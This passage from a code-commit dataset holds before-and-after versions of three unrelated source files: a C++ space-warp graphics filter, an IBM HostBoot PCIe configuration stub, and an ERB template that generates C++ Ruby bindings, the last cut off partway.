clipRect.x10_height = CGraphics::g_ViewportResolution.y * m_uniform.m_matrix[1][1];\n    if (clipRect.x8_top + clipRect.x10_height <= 0)\n        return;\n\n    float oldW = clipRect.xc_width;\n    if (clipRect.x4_left < 0)\n    {\n        clipRect.xc_width += clipRect.x4_left;\n        m_uniform.m_indXf[0][0] = clipRect.xc_width \/ oldW;\n        m_uniform.m_indXf[2][0] = -clipRect.x4_left \/ oldW;\n        clipRect.x4_left = 0;\n    }\n    \n    float oldH = clipRect.x10_height;\n    if (clipRect.x8_top < 0)\n    {\n        clipRect.x10_height += clipRect.x8_top;\n        m_uniform.m_indXf[1][1] = clipRect.x10_height \/ oldH;\n        m_uniform.m_indXf[2][1] = -clipRect.x8_top \/ oldH;\n        clipRect.x8_top = 0;\n    }\n\n    float tmp = clipRect.x4_left + clipRect.xc_width;\n    if (tmp >= CGraphics::g_ViewportResolution.x)\n    {\n        clipRect.xc_width = CGraphics::g_ViewportResolution.x - clipRect.x4_left;\n        m_uniform.m_indXf[0][0] = clipRect.xc_width \/ oldW;\n    }\n    \n    tmp = clipRect.x8_top + clipRect.x10_height;\n    if (tmp >= CGraphics::g_ViewportResolution.y)\n    {\n        clipRect.x10_height = CGraphics::g_ViewportResolution.y - clipRect.x8_top;\n        m_uniform.m_indXf[1][1] = clipRect.x10_height \/ oldH;\n    }\n\n    \/* Transform UV coordinates of rectangle within viewport and sampled scene texels (clamped to viewport bounds) *\/\n    zeus::CVector2f vp{CGraphics::g_ViewportResolution.x, CGraphics::g_ViewportResolution.y};\n    m_uniform.m_matrix[0][0] = clipRect.xc_width \/ vp.x;\n    m_uniform.m_matrix[1][1] = clipRect.x10_height \/ vp.y;\n    m_uniform.m_matrix[2][0] = pt.x + (1.f \/ vp.x);\n    m_uniform.m_matrix[2][1] = pt.y + (1.f \/ vp.y);\n\n    if (clipRect.x4_left + clipRect.xc_width < CGraphics::g_ViewportResolution.x)\n        clipRect.xc_width += 1;\n    if (clipRect.x8_top + clipRect.x10_height < CGraphics::g_ViewportResolution.y)\n        clipRect.x10_height += 1;\n    CGraphics::ResolveSpareTexture(clipRect);\n\n    \n    m_uniform.m_strength.x = m_uniform.m_matrix[1][1] * m_strength * 0.5f;\n    m_uniform.m_strength.y = m_uniform.m_matrix[1][1] * m_strength * 0.5f;\n    m_uniBuf->load(&m_uniform, sizeof(m_uniform));\n\n    CGraphics::g_BooMainCommandQueue->setShaderDataBinding(m_dataBind);\n    CGraphics::g_BooMainCommandQueue->draw(0, 4);\n}\n\nURDE_SPECIALIZE_SHADER(CSpaceWarpFilter)\n\n}\n<commit_msg>Minor coordinate fix<commit_after>#include \"CSpaceWarpFilter.hpp\"\n#include \"Graphics\/CGraphics.hpp\"\n#include \"Graphics\/CBooRenderer.hpp\"\n\n#define WARP_RAMP_RES 32\n\nnamespace urde\n{\n\nvoid CSpaceWarpFilter::GenerateWarpRampTex(boo::IGraphicsDataFactory::Context& ctx)\n{\n    u8 data[WARP_RAMP_RES+1][WARP_RAMP_RES+1][4] = {};\n    float halfRes = WARP_RAMP_RES \/ 2.f;\n    for (int y=0 ; y<WARP_RAMP_RES+1 ; ++y)\n    {\n        for (int x=0 ; x<WARP_RAMP_RES+1 ; ++x)\n        {\n            zeus::CVector2f vec((x - halfRes) \/ halfRes, (y - halfRes) \/ halfRes);\n            float mag = vec.magnitude();\n            if (mag < 1.f && vec.canBeNormalized())\n            {\n                vec.normalize();\n                vec *= std::sqrt(mag);\n            }\n            data[y][x][0] = zeus::clamp(0, int((((vec.x \/ 2.f + 0.5f) - x \/ float(WARP_RAMP_RES)) + 0.5f) * 255), 255);\n            data[y][x][1] = zeus::clamp(0, int((((vec.y \/ 2.f + 0.5f) - y \/ float(WARP_RAMP_RES)) + 0.5f) * 255), 255);\n        }\n    }\n    m_warpTex = ctx.newStaticTexture(WARP_RAMP_RES+1, WARP_RAMP_RES+1, 1,\n                                     boo::TextureFormat::RGBA8, data[0],\n                                     (WARP_RAMP_RES+1) * (WARP_RAMP_RES+1) * 4);\n}\n\nCSpaceWarpFilter::CSpaceWarpFilter()\n{\n    m_token = CGraphics::g_BooFactory->commitTransaction([&](boo::IGraphicsDataFactory::Context& ctx) -> bool\n    {\n        GenerateWarpRampTex(ctx);\n        struct Vert\n        {\n            zeus::CVector2f m_pos;\n            zeus::CVector2f m_uv;\n        } verts[4] =\n        {\n        {{-1.0, -1.0}, {0.0, 0.0}},\n        {{-1.0,  1.0}, {0.0, 1.0}},\n        {{ 1.0, -1.0}, {1.0, 0.0}},\n        {{ 1.0,  1.0}, {1.0, 1.0}},\n        };\n        m_vbo = ctx.newStaticBuffer(boo::BufferUse::Vertex, verts, 32, 4);\n        m_uniBuf = ctx.newDynamicBuffer(boo::BufferUse::Uniform, sizeof(Uniform), 1);\n        m_dataBind = TShader<CSpaceWarpFilter>::BuildShaderDataBinding(ctx, *this);\n        return true;\n    });\n}\n\nvoid CSpaceWarpFilter::draw(const zeus::CVector2f& pt)\n{\n    \/* Indirect coords are full-texture sampling when warp is completely in viewport *\/\n    m_uniform.m_indXf[1][1] = 1.f;\n    m_uniform.m_indXf[0][0] = 1.f;\n    m_uniform.m_indXf[2][0] = 0.f;\n    m_uniform.m_indXf[2][1] = 0.f;\n\n    \/* Warp effect is fixed at 192x192 rectangle in original (1\/2.5 viewport height) *\/\n    m_uniform.m_matrix[1][1] = 1.f \/ 2.5f;\n    m_uniform.m_matrix[0][0] = m_uniform.m_matrix[1][1] \/ CGraphics::g_ProjAspect;\n\n    SClipScreenRect clipRect = {};\n    clipRect.x4_left = ((pt[0] - m_uniform.m_matrix[0][0]) \/ 2.f + 0.5f) * CGraphics::g_ViewportResolution.x;\n    if (clipRect.x4_left >= CGraphics::g_ViewportResolution.x)\n        return;\n    clipRect.x8_top = ((pt[1] - m_uniform.m_matrix[1][1]) \/ 2.f + 0.5f) * CGraphics::g_ViewportResolution.y;\n    if (clipRect.x8_top >= CGraphics::g_ViewportResolution.y)\n        return;\n    clipRect.xc_width = CGraphics::g_ViewportResolution.x * m_uniform.m_matrix[0][0];\n    if (clipRect.x4_left + clipRect.xc_width <= 0)\n        return;\n    clipRect.x10_height = CGraphics::g_ViewportResolution.y * m_uniform.m_matrix[1][1];\n    if (clipRect.x8_top + clipRect.x10_height <= 0)\n        return;\n\n    float oldW = clipRect.xc_width;\n    if (clipRect.x4_left < 0)\n    {\n        clipRect.xc_width += clipRect.x4_left;\n        m_uniform.m_indXf[0][0] = clipRect.xc_width \/ oldW;\n        m_uniform.m_indXf[2][0] = -clipRect.x4_left \/ oldW;\n        clipRect.x4_left = 0;\n    }\n    \n    float oldH = clipRect.x10_height;\n    if (clipRect.x8_top < 0)\n    {\n        clipRect.x10_height += clipRect.x8_top;\n        m_uniform.m_indXf[1][1] = clipRect.x10_height \/ oldH;\n        m_uniform.m_indXf[2][1] = -clipRect.x8_top \/ oldH;\n        clipRect.x8_top = 0;\n    }\n\n    float tmp = clipRect.x4_left + clipRect.xc_width;\n    if (tmp >= CGraphics::g_ViewportResolution.x)\n    {\n        clipRect.xc_width = CGraphics::g_ViewportResolution.x - clipRect.x4_left;\n        m_uniform.m_indXf[0][0] = clipRect.xc_width \/ oldW;\n    }\n    \n    tmp = clipRect.x8_top + clipRect.x10_height;\n    if (tmp >= CGraphics::g_ViewportResolution.y)\n    {\n        clipRect.x10_height = CGraphics::g_ViewportResolution.y - clipRect.x8_top;\n        m_uniform.m_indXf[1][1] = clipRect.x10_height \/ oldH;\n    }\n\n    \/* Transform UV coordinates of rectangle within viewport and sampled scene texels (clamped to viewport bounds) *\/\n    zeus::CVector2f vp{CGraphics::g_ViewportResolution.x, CGraphics::g_ViewportResolution.y};\n    m_uniform.m_matrix[0][0] = clipRect.xc_width \/ vp.x;\n    m_uniform.m_matrix[1][1] = clipRect.x10_height \/ vp.y;\n    m_uniform.m_matrix[2][0] = pt.x + (1.f \/ vp.x);\n    m_uniform.m_matrix[2][1] = pt.y + (1.f \/ vp.y);\n\n    if (clipRect.x4_left + clipRect.xc_width < CGraphics::g_ViewportResolution.x)\n        clipRect.xc_width += 1;\n    if (clipRect.x8_top + clipRect.x10_height < CGraphics::g_ViewportResolution.y)\n        clipRect.x10_height += 1;\n    CGraphics::ResolveSpareTexture(clipRect);\n\n    \n    m_uniform.m_strength.x = m_uniform.m_matrix[0][0] * m_strength * 0.5f;\n    m_uniform.m_strength.y = m_uniform.m_matrix[1][1] * m_strength * 0.5f;\n    m_uniBuf->load(&m_uniform, sizeof(m_uniform));\n\n    CGraphics::g_BooMainCommandQueue->setShaderDataBinding(m_dataBind);\n    CGraphics::g_BooMainCommandQueue->draw(0, 4);\n}\n\nURDE_SPECIALIZE_SHADER(CSpaceWarpFilter)\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_pcie_config.C $    *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\/\/-----------------------------------------------------------------------------------\n\/\/\n\/\/\/ @file p9_pcie_config.C\n\/\/\/ @brief Configure the PHBs\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves clgraves@us.ibm.com\n\/\/ *HWP FW Owner: Thi Tran thi@us.ibm.com\n\/\/ *HWP Team: Nest\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by:\n\/\/-----------------------------------------------------------------------------------\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Includes\n\/\/-----------------------------------------------------------------------------------\n#include <p9_pcie_config.H>\n\nextern \"C\" {\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ HWP entry point\n\/\/-----------------------------------------------------------------------------------\n    fapi2::ReturnCode p9_pcie_config(const\n                                     fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target)\n    {\n        \/\/return code\n        fapi2::ReturnCode rc;\n\n        \/\/mark HWP entry\n        FAPI_INF(\"p9_pcie_config: Entering...\\n\");\n\n        do\n        {\n\n        }\n        while(0);\n\n        return rc;\n    }\n\n} \/\/extern \"C\"\n<commit_msg>PCIE Level 1 procedures<commit_after>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_pcie_config.C $    *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\/\/-----------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @file p9_pcie_config.C\n\/\/\/ @brief Perform PCIE Phase2 init sequence (FAPI2)\n\/\/\/\n\n\/\/ *HWP HWP Owner: Christina Graves clgraves@us.ibm.com\n\/\/ *HWP FW Owner: Thi Tran thi@us.ibm.com\n\/\/ *HWP Team: Nest\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: HB\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Includes\n\/\/-----------------------------------------------------------------------------------\n#include <p9_pcie_config.H>\n\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Function definitions\n\/\/-----------------------------------------------------------------------------------\nfapi2::ReturnCode p9_pcie_config(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target)\n{\n    FAPI_INF(\"Start\");\n    FAPI_INF(\"End\");\n    return fapi2::current_err;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"<%= $cur_module.name %>Base.h\"\n\n#include \"logging\/RhoLog.h\"\n#undef DEFAULT_LOGCATEGORY\n#define DEFAULT_LOGCATEGORY \"<%= $cur_module.name %>\"\n\n#include \"ruby\/ext\/rho\/rhoruby.h\"\n#include \"common\/StringConverter.h\"\n#include \"common\/AutoPointer.h\"\n\nusing namespace rho;\nusing namespace rho::common;\n\nextern \"C\"\n{\n\nvoid rho_wm_impl_performOnUiThread(rho::common::IRhoRunnable* pTask);\nVALUE getRuby_<%= $cur_module.name %>_Module();\n\n<% if $cur_module.is_template_default_instance %>\nVALUE rb_<%= $cur_module.name %>_s_default(VALUE klass)\n{\n    rho::String strDefaultID = <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n\n    return rho_ruby_create_object_with_id( klass, strDefaultID.c_str() );\n}\n\nVALUE rb_<%= $cur_module.name %>_s_setDefault(VALUE klass, VALUE valObj)\n{\n    const char* szID = rho_ruby_get_object_id( valObj );\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->setDefaultID(szID);\n\n    return rho_ruby_get_NIL();\n}\n<% end %>\n\nextern \"C\" static void\nstring_iter(const char* szVal, void* par)\n{\n    rho::Vector<rho::String>& ar = *((rho::Vector<rho::String>*)(par));\n    ar.addElement( szVal );\n}\n\nstatic void getStringArrayFromValue(VALUE val, rho::Vector<rho::String>& res)\n{\n    rho_ruby_enum_strary(val, string_iter, &res);\n}\n\nextern \"C\" static void hash_eachstr(const char* szName, const char* szVal, void* par)\n{\n    rho::Hashtable<rho::String, rho::String>& hash = *((rho::Hashtable<rho::String, rho::String>*)(par));\n    hash.put( szName, szVal );\n}\n\nstatic void getStringHashFromValue(VALUE val, rho::Hashtable<rho::String, rho::String>& res)\n{\n    rho_ruby_enum_strhash(val, hash_eachstr, &res);\n}\n\n<% $cur_module.methods.each do |module_method| \n   if module_method.access == ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, true)%><%\nelse %>\nstatic VALUE _api_generator_<%= $cur_module.name %>_<%= module_method.native_name %>(int argc, VALUE *argv, <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>* pObj)<%\nend %>\n{\n    rho::apiGenerator::CMethodResult oRes;\n<% if module_method.result != nil\n    result_type = nil\n    if MethodParam::BASE_TYPES.include?(module_method.result.type)\n      result_type = module_method.result.item_type\n    else\n      result_type = module_method.result.type;\n    end\n\nif api_generator_isSelfModule( $cur_module, result_type) %>\n    oRes.setRubyObjectClass( getRuby_<%= $cur_module.name %>_Module() );<%\nelsif result_type && result_type.length()>0 && !MethodParam::BASE_TYPES.include?(result_type) %>\n    oRes.setRubyObjectClassPath( \"<%= result_type %>\" );<%\nend; end %>\n    rho::common::IRhoRunnable* pFunctor = 0;\n    bool bUseCallback = false;\n    int nCallbackArg = 0;<%\n\nfunctor_params = \"\"; first_arg = 0; \nmodule_method.params.each do |param| %>\n    nCallbackArg = <%= first_arg + 1 %>;<%\nif !param.can_be_nil %>\n    if ( argc == <%= first_arg %> )\n    {\n        oRes.setArgError(\"Wrong number of arguments: \" + convertToStringA(argc) + \" instead of \" + convertToStringA(<%= module_method.params.size() %>) );\n        return oRes.toRuby();\n    }<%\nend\n\nif param.type == MethodParam::TYPE_STRING %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_string(argv[<%= first_arg %>]) )\n        {\n            arg<%= first_arg %> = getStringFromValue(argv[<%= first_arg %>]);\n<% if first_arg == 0 %>\n            oRes.setStringParam(getStringFromValue(argv[<%= first_arg %>]));\n<% end %>\n        }\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_INT %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_integer(argv[<%= first_arg %>]) )\n            arg<%= first_arg %> = rho_ruby_get_int(argv[<%= first_arg %>]);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_BOOL %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_boolean(argv[<%= first_arg %>]) )\n            arg<%= first_arg %> = rho_ruby_get_bool(argv[<%= first_arg %>]) ? true : false;\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_DOUBLE %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_double(argv[<%= first_arg %>]) )\n            arg<%= first_arg %> = rho_ruby_get_double(argv[<%= first_arg %>]);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_ARRAY %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_array(argv[<%= first_arg %>]) )\n            getStringArrayFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif param.type == MethodParam::TYPE_HASH %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        if ( rho_ruby_is_hash(argv[<%= first_arg %>]) )\n            getStringHashFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{param.type.downcase}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }\n<% end\n\nif !MethodParam::BASE_TYPES.include?(param.type) %>\n    <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n    if ( argc > <%= first_arg %> )\n    {\n        <%  type_name = param.type;\n            if api_generator_isSelfModule( $cur_module, param.type); type_name = api_generator_getRubyModuleFullName($cur_module); %>\n            if ( rho_ruby_is_object_of_class(argv[<%= first_arg %>], getRuby_<%= $cur_module.name %>_Module()) )<% \n        else %>\n            if ( rho_ruby_is_object_of_class(argv[<%= first_arg %>], rho_ruby_get_class_byname(\"<%=param.type%>\") ) )<% \n        end %>\n            arg<%= first_arg %> = rho_ruby_get_object_id( argv[<%= first_arg %>] );\n        else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n        {\n            oRes.setArgError(\"Type error: argument \" <%= \"\\\"#{first_arg}\\\"\" %> \" should be \" <%= \"\\\"#{type_name}\\\"\" %> );\n            return oRes.toRuby();\n        }\n    }<%\nend\nfunctor_params += \"arg#{first_arg}, \"\nfirst_arg = first_arg+1\nend %>\n    if ( argc > nCallbackArg )\n    {\n<% if module_method.has_callback == ModuleMethod::CALLBACK_NONE %>\n        oRes.setArgError(\"Wrong number of arguments: \" + convertToStringA(argc) + \" instead of \" + convertToStringA(<%= module_method.params.size() %>) );\n        return oRes.toRuby();<%\nelse %>\n        if ( rho_ruby_is_proc(argv[nCallbackArg]) || rho_ruby_is_method(argv[nCallbackArg]) )\n        {\n            oRes.setRubyCallbackProc( argv[nCallbackArg] );\n        }else if ( rho_ruby_is_string(argv[nCallbackArg]) )\n        {\n            oRes.setRubyCallback( getStringFromValue(argv[nCallbackArg]) );\n        }else\n        {\n            oRes.setArgError(\"Type error: callback should be String\");\n            return oRes.toRuby();\n        }\n\n        oRes.setCallInUIThread(<%= (module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_UI) ? \"true\" : \"false\" %>);\n        if ( argc > nCallbackArg + 1 )\n        {\n            if ( !rho_ruby_is_string(argv[nCallbackArg + 1]) )\n            {\n                oRes.setArgError(\"Type error: callback parameter should be String\");\n                return oRes.toRuby();\n            }\n\n            oRes.setCallbackParam( getStringFromValue(argv[nCallbackArg + 1]) );\n        }\n        \n        bUseCallback = true;<%\nend %>\n    }<%\nif module_method.has_callback == ModuleMethod::CALLBACK_MANDATORY%>\n    else\n    {\n        oRes.setArgError(\"Wrong number of arguments: \" + convertToStringA(argc) + \" instead of \" + convertToStringA(<%= module_method.params.size()+1 %>) + \".Mandatory Callback parameter is mised.\" );\n        return oRes.toRuby();\n    }<%\nend\n\nif module_method.access != ModuleMethod::ACCESS_STATIC %>\n    pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( pObj, &<%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>::<%= module_method.native_name %>, <%= functor_params %> oRes );<%\nelse %>\n    pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS(), &<%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>Singleton::<%= module_method.native_name %>, <%= functor_params %> oRes );<%\nend\n\nif module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_UI %>\n    rho_wm_impl_performOnUiThread( pFunctor );<%\nelsif (module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_MODULE) || (module_method.run_in_thread == ModuleMethod::RUN_IN_THREAD_SEPARATED) %>\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );<%\nelse if module_method.run_in_thread != ModuleMethod::RUN_IN_THREAD_NONE %>\n\n    if ( bUseCallback )\n        <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );\n    else <%\nend %>\n    {\n        delete pFunctor;\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n        pObj-><%= module_method.native_name %>( <%= functor_params %> oRes );<%\nelse %>\n        <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()-><%= module_method.native_name %>( <%= functor_params %> oRes );<%\nend %>\n\n    }<%\nend %>\n    return oRes.toRuby();\n}\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, module_method.access == ModuleMethod::ACCESS_STATIC)%>\n{\n    const char* szID = rho_ruby_get_object_id( obj );\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>* pObj =  <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(szID);\n\n    return _api_generator_<%= $cur_module.name %>_<%= module_method.native_name %>(argc, argv, pObj);\n}\n<% end %>\n\n<% if $cur_module.is_template_default_instance && module_method.access == ModuleMethod::ACCESS_INSTANCE%>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name + \"_def\", module_method, true)%>\n{\n    rho::String strDefaultID = <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>* pObj = <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(strDefaultID);\n\n    return _api_generator_<%= $cur_module.name %>_<%= module_method.native_name %>(argc, argv, pObj);\n}\n<% end %>\n<% end %>\n\n}<commit_msg>fix compile errors on XCode<commit_after>#include \"<%= $cur_module.name %>Base.h\"\n\n#include \"logging\/RhoLog.h\"\n#undef DEFAULT_LOGCATEGORY\n#define DEFAULT_LOGCATEGORY \"<%= $cur_module.name %>\"\n\n#include \"ruby\/ext\/rho\/rhoruby.h\"\n#include \"common\/StringConverter.h\"\n#include \"common\/AutoPointer.h\"\n\nusing namespace rho;\nusing namespace rho::common;\n\nextern \"C\"\n{\n\nvoid rho_wm_impl_performOnUiThread(rho::common::IRhoRunnable* pTask);\nVALUE getRuby_<%= $cur_module.name %>_Module();\n\n<% if $cur_module.is_template_default_instance %>\nVALUE rb_<%= $cur_module.name %>_s_default(VALUE klass)\n{\n    rho::String strDefaultID = <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n\n    return rho_ruby_create_object_with_id( klass, strDefaultID.c_str() );\n}\n\nVALUE rb_<%= $cur_module.name %>_s_setDefault(VALUE klass, VALUE valObj)\n{\n    const char* szID = rho_ruby_get_object_id( valObj );\n    <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->setDefaultID(szID);\n\n    return rho_ruby_get_NIL();\n}\n<% end %>\n\nstatic void string_iter(const char* szVal, void* par)\n{\n    rho::Vector<rho::String>& ar = *((rho::Vector<rho::String>*)(par));\n    ar.addElement( szVal );\n}\n\nstatic void getStringArrayFromValue(VALUE val, rho::Vector<rho::String>& res)\n{\n    rho_ruby_enum_strary(val, string_iter, &res);\n}\n\nstatic void hash_eachstr(const char* szName, const char* szVal, void* par)\n{\n    rho::Hashtable<rho::String, rho::String>& hash = *((rho::Hashtable<rho::String, rho::String>*)(par));\n    hash.put( szName, szVal );\n}\n\nstatic void getStringHashFromValue(VALUE val, rho::Hashtable<rho::String, rho::String>& res)\n{\n    rho_ruby_enum_strhash(val, hash_eachstr, &res);\n}\n\n<% $cur_module.methods.each do |module_method| \n   if module_method.access == ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, true)%><%\nelse %>\nstatic VALUE _api_generator_<%= $cur_module.name %>_<%= module_method.native_name %>(int argc, VALUE *argv, <%= api_generator_cpp_MakeNamespace($cur_module.parents)%>I<%= $cur_module.name %>* pObj)<%\nend %>\n{\n    rho::apiGenerator::CMethodResult oRes;\n<% if module_method.result != nil\n    result_type = nil\n    if MethodParam::BASE_TYPES.include?(module_method.result.type)\n      result_type = module_method.result.item_type\n    else\n      result_type = module_method.result.type;\n    end\n\nif api_generator_isSelfModule( $cur_module, result_type) %>\n    oRes.setRubyObjectClass( getRuby_<%= $cur_module.name %>_Module() );<%\nelsif result_type && result_type.length()>0 && !MethodParam::BASE_TYPES.include?(result_type) %>\n    oRes.setRubyObjectClassPath( \"<%= result_type %>\" );<%\nend; end %>\n    rho::common::IRhoRunnable* pFunctor = 0;\n    bool bUseCallback = false;\n    int nCallbackArg = 0;<%\n\nfunctor_params = \"\"; first_arg = 0; \nmodule_method.params.each do |param| %>\n    nCallbackArg = <%= first_arg + 1 %>;<%\nif !param.can_be_nil %>\n    if ( argc == <%= first_arg %> )\n    {\n        oRes.setArgError(\"Wrong number of arguments: \" + convertToStringA(argc) + \" instead of \" + convertToStringA(<%= module_method.params.size() %>) );\n        return oRes.toRuby();\n    }<%\nend\n\nif param.type == MethodParam::TYPE_STRING %>\n    